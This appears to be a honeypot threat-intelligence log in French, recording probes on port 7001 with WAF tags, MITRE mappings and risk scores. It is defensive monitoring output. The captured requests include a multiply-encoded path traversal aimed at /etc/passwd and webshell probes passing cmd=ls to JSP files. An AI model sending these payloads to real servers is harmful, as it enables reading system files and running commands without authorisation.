Preuve / Evidence Méthode GET Port 7001 Chemin / cible /index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd Service HTTP Pourquoi cette classification : Type « lfi_path_traversal » (signaux protocolaires) · confiance 100% Confiance classification 100% Corrélation +8 Risque capteur Élevé · 65 Confiance : Confiance 100 % — 6 tag(s) WAF Protocole émulé 1 Signaux CRS-930100-sub Technique MITRE T1083 Tactiques MITRE TA0001 TA0002 Ligne de requête `GET /index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd HTTP/1.1` User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/605.1.15 Règles WAF lfi-0 lfi-1 lfi-14 rce-0 nosqli-3 Payload (extrait) GET /index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%252 Requête brute (extrait) GET /index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHT Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043", "emulator_response_len": 177, "http_header_count": 5, "http_query_params": 0, "http_path_depth": 11, "http_path_ext": "%25252fetc%25252fpasswd", "http_ua_hash": "09bd048331a09c16ae3c5ff4db5a55676836a128", "http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b", "http_target_hash": "bf66e3afac1005ad7b4b4e5116566709416d4871", "http_referer_hash": null, "http_method": "GET", "http_ua_is_cli": false, "http_ua_is_browser": true, "bytes_in": 363, "payload_entropy": 5.3398457503898955, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "http", "app_proto": "http", "asn": 45102, "country": "JP", "dst_port": 7001, "risk_waf": 100, "risk_classification": 78, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 33, "risk_novelty": 25, "risk_boost": 0, "risk_granularity": 6.6, "risk_breakdown": { "waf": 100, "classification": 78, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 25 }, "risk_score": 65, "tag_count": 7, "anomaly_count": 0, "campaign_key": "d7231cdba4b1b718e696848a5050b80c2cabe20b", "event_fingerprint": "c272778a44027cc494f3d7bc2cbd513561dd62a1", "classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%", "confidence": 1, "classification_confidence": 1, "precision_score": 210, "precision_signals": [ "CRS-930100-sub" ], "kb_rule_ids": [ "CRS-930100-sub" ], "confidence_breakdown": { "waf": 100, "classification": 78, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 25, "risk_score": 65, "correlation_boost": 8 }, "named_classification_skipped": false, "classification_parent": "path_traversal", "service_name": "http", "risk_confidence_factor": 100, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "http_ua_hash": "d769889e8dd7c947a6c2345c24cc8d13", "payload_hash": "b0d0f1d0121176966e367d46a9c00b8c", "path_pattern_hash": "2dec647ac60830134973332b4aa03eda" }, "target_context": { "dst_port": 7001, "service": "http", "service_name": "http", "risk_score": 65 }, "method": "GET", "path": "\/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd", "user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/12.1.2 Safari\/605.1.15", "waf_tags": [ "950260:lfi-0", "950264:lfi-1", "950316:lfi-14", "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3" ], "waf_rule_names": [ "lfi-0", "lfi-1", "lfi-14", "rce-0", "nosqli-3" ], "request_line": "GET \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd HTTP\/1.1", "payload_snippet": "GET \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%252", "evidence": { "method": "GET", "path": "\/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd", "user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/12.1.2 Safari\/605.1.15", "waf_tags": [ "950260:lfi-0", "950264:lfi-1", "950316:lfi-14", "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3" ], "waf_rule_names": [ "lfi-0", "lfi-1", "lfi-14", "rce-0", "nosqli-3" ], "request_line": "GET \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd HTTP\/1.1", "request_sample": "GET \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit\/605.1.15 (KHT", "payload_snippet": "GET \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%252", "classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%" }, "attack_stage": "exploit_attempt", "mitre_tactics": [ "TA0001", "TA0002" ], "mitre_techniques": [ "T1083" ], "mitre": "T1083", "threat_family": [ "path_traversal" ], "recommended_client_action": "investigate", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "52639e7db347c0b67410974e47583b58be1092ea", "protocol_details": { "http_method": "GET", "http_path": "\/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd", "request_line": "GET \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/12.1.2 Safari\/605.1.15", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "evidence_snippet": "GET \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%252", "attack_vector": "lfi path traversal \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs\u2026", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 100 % \u2014 6 tag(s) WAF", "site_display": { "classification": null, "classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%", "classification_reason_label_fr": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 65\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)", "confidence_pct": 100, "confidence_breakdown": { "waf": 100, "classification": 78, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 25, "risk_score": 65, "correlation_boost": 8 }, "attack_stage": "exploit_attempt", "attack_stage_label": "Tentative d'exploit", "attack_chain_stage": "exploitation", "attack_chain_stage_label_fr": "Exploitation", "risk_score": 65, "risk_label": "\u00c9lev\u00e9", "service_name": "http", "service_label_fr": "HTTP", "dst_port": 7001, "protocol_emulated": true, "tags_summary": [ "CRS-930100-sub" ], "tags_summary_labels_fr": [ "CRS-930100-sub" ], "recommended_action": "investigate", "recommended_action_label": "Investiguer", "mitre": "T1083", "mitre_technique": "T1083", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "honeypot-http", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "http_method": "GET", "http_path": "\/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd", "request_line": "GET \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/12.1.2 Safari\/605.1.15", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "attack_vector": "lfi path traversal \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs\u2026", "evidence_snippet": "GET \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%252", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 100 % \u2014 6 tag(s) WAF", "confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +8 \u00b7 6 tag(s) WAF", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": false, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": true, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "exploitation", "label_fr": "Exploitation", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "http", "service_banner": "honeypot-http", "service_os": "linux", "dst_port": "7001" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "exploitation", "matched_patterns": [], "ban_policy": "advisory_investigate", "tags_list": [ "950260:lfi-0", "950264:lfi-1", "950316:lfi-14", "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3", "net_web_probe" ] }
30/07/2026 21:49:41 UTC	TCP	7001 · HTTP	http	Upload webshell webshell upload · via HTTP:7001 · (tentative d'exploit) · → /irj/cache.jsp	Élevée	Moyen · 64
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0001 TA0001 TA0002 Protocole GET /irj/cache.jsp UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K… Émulateur HTTP WAF 25 Recommandation Investiguer Tags 950326:rce-0 950468:nosqli-3 950470:nosqli-3 950629:webshell-param-cmd Cible HTTP GET /irj/cache.jsp TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 7001 Chemin / cible /irj/cache.jsp Service HTTP Pourquoi cette classification : Règle WAF « webshell-param-cmd » · Paramètres de scan · confiance 50% Confiance classification 58% Corrélation +8 Risque capteur Moyen · 64 Confiance : Confiance 50 % — 4 tag(s) WAF Protocole émulé 1 Signaux Upstream Waf Score Technique MITRE TA0001 Tactiques MITRE TA0001 TA0002 Ligne de requête `GET /irj/cache.jsp?cmd=ls HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36 Règles WAF rce-0 nosqli-3 webshell-param-cmd Payload (extrait) GET /irj/cache.jsp?cmd=ls HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537 Requête brute (extrait) GET /irj/cache.jsp?cmd=ls HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36 Accept: / Accept-Language: en Accept-Encoding: gzip Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043", "emulator_response_len": 177, "http_header_count": 5, "http_query_params": 1, "http_path_depth": 2, "http_path_ext": "jsp", "http_ua_hash": "581b7a77798eb127a91ce325ef53f3f960f10192", "http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b", "http_target_hash": "ee1fe03068d1b0545e05eaaacf47f14b57d2dd11", "http_referer_hash": null, "http_method": "GET", "http_ua_is_cli": false, "http_ua_is_browser": true, "bytes_in": 248, "payload_entropy": 5.484700236264291, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "http", "app_proto": "http", "asn": 45102, "country": "JP", "dst_port": 7001, "risk_waf": 100, "risk_classification": 93, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 43, "risk_novelty": 25, "risk_boost": 0, "risk_granularity": 6.6, "risk_breakdown": { "waf": 100, "classification": 93, "behavior": 0, "geo": 0, "protocol": 43, "novelty": 25 }, "risk_score": 64, "tag_count": 7, "anomaly_count": 0, "campaign_key": "33b57e52f995720215489924dc7dc318328e07e5", "event_fingerprint": "892bf35d0e7d11437c7458f2a0a48f3790ebd3c2", "classification_reason": "R\u00e8gle WAF \u00ab webshell-param-cmd \u00bb \u00b7 Param\u00e8tres de scan \u00b7 confiance 50%", "confidence": 0.58, "classification_confidence": 0.58, "precision_score": 55, "precision_signals": [ "INT-upstream", "INT-waf-score" ], "kb_rule_ids": [ "INT-upstream", "INT-waf-score" ], "confidence_breakdown": { "waf": 100, "classification": 93, "behavior": 0, "geo": 0, "protocol": 43, "novelty": 25, "risk_score": 64, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "http", "risk_confidence_factor": 50, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "http_ua_hash": "97a0ccef52e918915e813e68319bdbd1", "payload_hash": "502154c8bf8a3067f68d86f04554bb84", "path_pattern_hash": "32a4a1d90b75d10f4b7df2e850b01796" }, "target_context": { "dst_port": 7001, "service": "http", "service_name": "http", "risk_score": 64 }, "payload_preview": "GET \/irj\/cache.jsp?cmd=ls HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537", "method": "GET", "path": "\/irj\/cache.jsp", "query_string": "cmd=ls", "user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.127 Safari\/537.36", "waf_tags": [ "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3", "950629:webshell-param-cmd" ], "waf_rule_names": [ "rce-0", "nosqli-3", "webshell-param-cmd" ], "request_line": "GET \/irj\/cache.jsp?cmd=ls HTTP\/1.1", "request_sample": "GET \/irj\/cache.jsp?cmd=ls HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.127 Safari\/537.36\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/irj\/cache.jsp?cmd=ls HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537", "evidence": { "method": "GET", "path": "\/irj\/cache.jsp", "query_string": "cmd=ls", "user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.127 Safari\/537.36", "waf_tags": [ "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3", "950629:webshell-param-cmd" ], "waf_rule_names": [ "rce-0", "nosqli-3", "webshell-param-cmd" ], "request_line": "GET \/irj\/cache.jsp?cmd=ls HTTP\/1.1", "request_sample": "GET \/irj\/cache.jsp?cmd=ls HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.127 Safari\/537.36\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/irj\/cache.jsp?cmd=ls HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537", "classification_reason": "R\u00e8gle WAF \u00ab webshell-param-cmd \u00bb \u00b7 Param\u00e8tres de scan \u00b7 confiance 50%" }, "attack_stage": "exploit_attempt", "mitre_tactics": [ "TA0001", "TA0002" ], "mitre": "TA0001", "threat_family": [ "rce_probe" ], "recommended_client_action": "investigate", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "55b1982375f549ce3383195d80564e8b63c0b86c", "protocol_details": { "http_method": "GET", "http_path": "\/irj\/cache.jsp", "request_line": "GET \/irj\/cache.jsp?cmd=ls HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.127 Safari\/537.36", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "evidence_snippet": "GET \/irj\/cache.jsp?cmd=ls HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537", "attack_vector": "webshell upload \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/irj\/cache.jsp", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 50 % \u2014 4 tag(s) WAF", "site_display": { "classification": null, "classification_reason": "R\u00e8gle WAF \u00ab webshell-param-cmd \u00bb \u00b7 Param\u00e8tres de scan \u00b7 confiance 50%", "classification_reason_label_fr": "R\u00e8gle WAF \u00ab webshell-param-cmd \u00bb \u00b7 Param\u00e8tres de scan \u00b7 confiance 50%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 64\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 58 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)", "confidence_pct": 58, "confidence_breakdown": { "waf": 100, "classification": 93, "behavior": 0, "geo": 0, "protocol": 43, "novelty": 25, "risk_score": 64, "correlation_boost": 8 }, "attack_stage": "exploit_attempt", "attack_stage_label": "Tentative d'exploit", "attack_chain_stage": "exploitation", "attack_chain_stage_label_fr": "Exploitation", "risk_score": 64, "risk_label": "Moyen", "service_name": "http", "service_label_fr": "HTTP", "dst_port": 7001, "protocol_emulated": true, "tags_summary": [ "INT-upstream", "INT-waf-score" ], "tags_summary_labels_fr": [ "Upstream", "Waf Score" ], "recommended_action": "investigate", "recommended_action_label": "Investiguer", "mitre": "TA0001", "mitre_technique": "TA0001", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "honeypot-http", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "http_method": "GET", "http_path": "\/irj\/cache.jsp", "request_line": "GET \/irj\/cache.jsp?cmd=ls HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.127 Safari\/537.36", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "attack_vector": "webshell upload \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/irj\/cache.jsp", "evidence_snippet": "GET \/irj\/cache.jsp?cmd=ls HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 50 % \u2014 4 tag(s) WAF", "confidence_factors_fr": "Confiance 58 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +8 \u00b7 4 tag(s) WAF", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": false, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": true, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "exploitation", "label_fr": "Exploitation", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "http", "service_banner": "honeypot-http", "service_os": "linux", "dst_port": "7001" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "exploitation", "matched_patterns": [], "ban_policy": "advisory_investigate", "tags_list": [ "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3", "950629:webshell-param-cmd", "http_scanner_params", "http_suspicious_params", "net_sap_web_probe" ] }
30/07/2026 21:49:40 UTC	TCP	7001 · HTTP	http	Upload webshell webshell upload · via HTTP:7001 · (tentative d'exploit) · → /irj/helper.jsp	Élevée	Moyen · 64
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0001 TA0001 TA0002 Protocole GET /irj/helper.jsp UA Mozilla/5.0 (Macintosh; Intel Mac OS X 108) AppleWebKit/536.15 … Émulateur HTTP WAF 25 Recommandation Investiguer Tags 950326:rce-0 950468:nosqli-3 950470:nosqli-3 950629:webshell-param-cmd Cible HTTP GET /irj/helper.jsp TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 7001 Chemin / cible /irj/helper.jsp Service HTTP Pourquoi cette classification : Règle WAF « webshell-param-cmd » · Paramètres de scan · confiance 50% Confiance classification 58% Corrélation +8 Risque capteur Moyen · 64 Confiance : Confiance 50 % — 4 tag(s) WAF Protocole émulé 1 Signaux Upstream Waf Score Technique MITRE TA0001 Tactiques MITRE TA0001 TA0002 Ligne de requête `GET /irj/helper.jsp?cmd=ls HTTP/1.1` User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 108) AppleWebKit/536.15 (KHTML like Gecko) Version/6.0 Safari/536.16 Règles WAF rce-0 nosqli-3 webshell-param-cmd Payload (extrait) GET /irj/helper.jsp?cmd=ls HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 108) AppleWebKit/ Requête brute (extrait) GET /irj/helper.jsp?cmd=ls HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 108) AppleWebKit/536.15 (KHTML like Gecko) Version/6.0 Safari/536.16 Accept: / Accept-Language: en Accept-Encoding: gzip Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043", "emulator_response_len": 177, "http_header_count": 5, "http_query_params": 1, "http_path_depth": 2, "http_path_ext": "jsp", "http_ua_hash": "0abb4661515600a09883f98adcc7441e7b6d9bd8", "http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b", "http_target_hash": "50d41d144976807a6d1051993d6629e8675cd77c", "http_referer_hash": null, "http_method": "GET", "http_ua_is_cli": false, "http_ua_is_browser": true, "bytes_in": 240, "payload_entropy": 5.374603886397178, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "http", "app_proto": "http", "asn": 45102, "country": "JP", "dst_port": 7001, "risk_waf": 100, "risk_classification": 93, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 43, "risk_novelty": 25, "risk_boost": 0, "risk_granularity": 6.6, "risk_breakdown": { "waf": 100, "classification": 93, "behavior": 0, "geo": 0, "protocol": 43, "novelty": 25 }, "risk_score": 64, "tag_count": 7, "anomaly_count": 0, "campaign_key": "33b57e52f995720215489924dc7dc318328e07e5", "event_fingerprint": "537d4060fdef755dabf230049facdc8823a56d7c", "classification_reason": "R\u00e8gle WAF \u00ab webshell-param-cmd \u00bb \u00b7 Param\u00e8tres de scan \u00b7 confiance 50%", "confidence": 0.58, "classification_confidence": 0.58, "precision_score": 55, "precision_signals": [ "INT-upstream", "INT-waf-score" ], "kb_rule_ids": [ "INT-upstream", "INT-waf-score" ], "confidence_breakdown": { "waf": 100, "classification": 93, "behavior": 0, "geo": 0, "protocol": 43, "novelty": 25, "risk_score": 64, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "http", "risk_confidence_factor": 50, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "http_ua_hash": "945e7583320591336dce4c6d5d0c061a", "payload_hash": "f563b1365481942d89c52222f0c17e9b", "path_pattern_hash": "7f13078f8dec8a52bf2e9a3c482e8493" }, "target_context": { "dst_port": 7001, "service": "http", "service_name": "http", "risk_score": 64 }, "payload_preview": "GET \/irj\/helper.jsp?cmd=ls HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 108) AppleWebKit\/", "method": "GET", "path": "\/irj\/helper.jsp", "query_string": "cmd=ls", "user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 108) AppleWebKit\/536.15 (KHTML like Gecko) Version\/6.0 Safari\/536.16", "waf_tags": [ "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3", "950629:webshell-param-cmd" ], "waf_rule_names": [ "rce-0", "nosqli-3", "webshell-param-cmd" ], "request_line": "GET \/irj\/helper.jsp?cmd=ls HTTP\/1.1", "request_sample": "GET \/irj\/helper.jsp?cmd=ls HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 108) AppleWebKit\/536.15 (KHTML like Gecko) Version\/6.0 Safari\/536.16\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/irj\/helper.jsp?cmd=ls HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 108) AppleWebKit\/", "evidence": { "method": "GET", "path": "\/irj\/helper.jsp", "query_string": "cmd=ls", "user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 108) 